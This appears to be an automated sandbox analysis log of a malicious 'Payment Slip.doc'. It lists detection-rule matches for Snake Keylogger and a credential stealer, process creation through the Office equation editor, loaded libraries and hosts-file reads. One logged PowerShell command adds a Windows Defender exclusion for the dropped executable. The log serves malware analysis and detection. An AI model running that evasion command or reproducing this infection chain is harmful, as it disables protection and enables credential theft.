Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D650D8	8_2_00D650D8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D649F8	8_2_00D649F8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D657B8	8_2_00D657B8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D63558	8_2_00D63558
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D60040	8_2_00D60040
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D62E78	8_2_00D62E78
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D64318	8_2_00D64318
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D63C38	8_2_00D63C38
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D60ED8	8_2_00D60ED8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D650CD	8_2_00D650CD
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D649F4	8_2_00D649F4
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D62AFC	8_2_00D62AFC
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D657B1	8_2_00D657B1
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D63551	8_2_00D63551
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D62E6F	8_2_00D62E6F
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D64315	8_2_00D64315
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D62B00	8_2_00D62B00
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D63C34	8_2_00D63C34
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D62130	8_2_00D62130
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 8_2_00D6212C	8_2_00D6212C

Source: Payment Slip.doc, type: SAMPLE	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.vvndewepeter91026.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.vvndewepeter91026.exe.3588d18.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.vvndewepeter91026.exe.3722a30.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: vvndewepeter91026.exe PID: 3524, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: vvndewepeter91026.exe PID: 3616, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: LLnsOpxxAnmWi[1].exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: vvndewepeter91026.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, COVID19.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, COVID19.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, Uel8r1lQF2PkteGZrv.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, Uel8r1lQF2PkteGZrv.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, E0RYX9X2eibsstJT2l.cs	Security API names: _0020.SetAccessControl
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, E0RYX9X2eibsstJT2l.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, E0RYX9X2eibsstJT2l.cs	Security API names: _0020.AddAccessRule
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, Uel8r1lQF2PkteGZrv.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, Uel8r1lQF2PkteGZrv.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, E0RYX9X2eibsstJT2l.cs	Security API names: _0020.SetAccessControl
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, E0RYX9X2eibsstJT2l.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, E0RYX9X2eibsstJT2l.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winDOC@9/14@23/9

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$yment Slip.doc

Jump to behavior

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRB51B.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(.......4.......N$.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(.......4.......Z$.........................s............h.(.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(.......4.......m$.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(.......4........$.........................s............h.(.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(.......4........$.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(.......4........$.........................s............h.(.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n...............(................$.........................s............h.(.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(................$.........................s............h.(.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..........%.........................s............h.(..... .......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(................%.........................s............h.(.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(...............,%.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(...............8%.........................s............h.(.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.....J%.........................s............h.(.....$.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(...............V%.........................s............h.(.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(...............h%.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(...............t%.........................s............h.(.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s............h.(.....2.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(................%.........................s............h.(.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(................%.........................s....................l.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(................%.........................s............h.(.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.............(................%.........................s............h.(.............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............(................%.........................s............h.(.............................	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Payment Slip.doc

ReversingLabs: Detection: 44%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe"
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe"
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Process created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Section loaded: credssp.dll	Jump to behavior
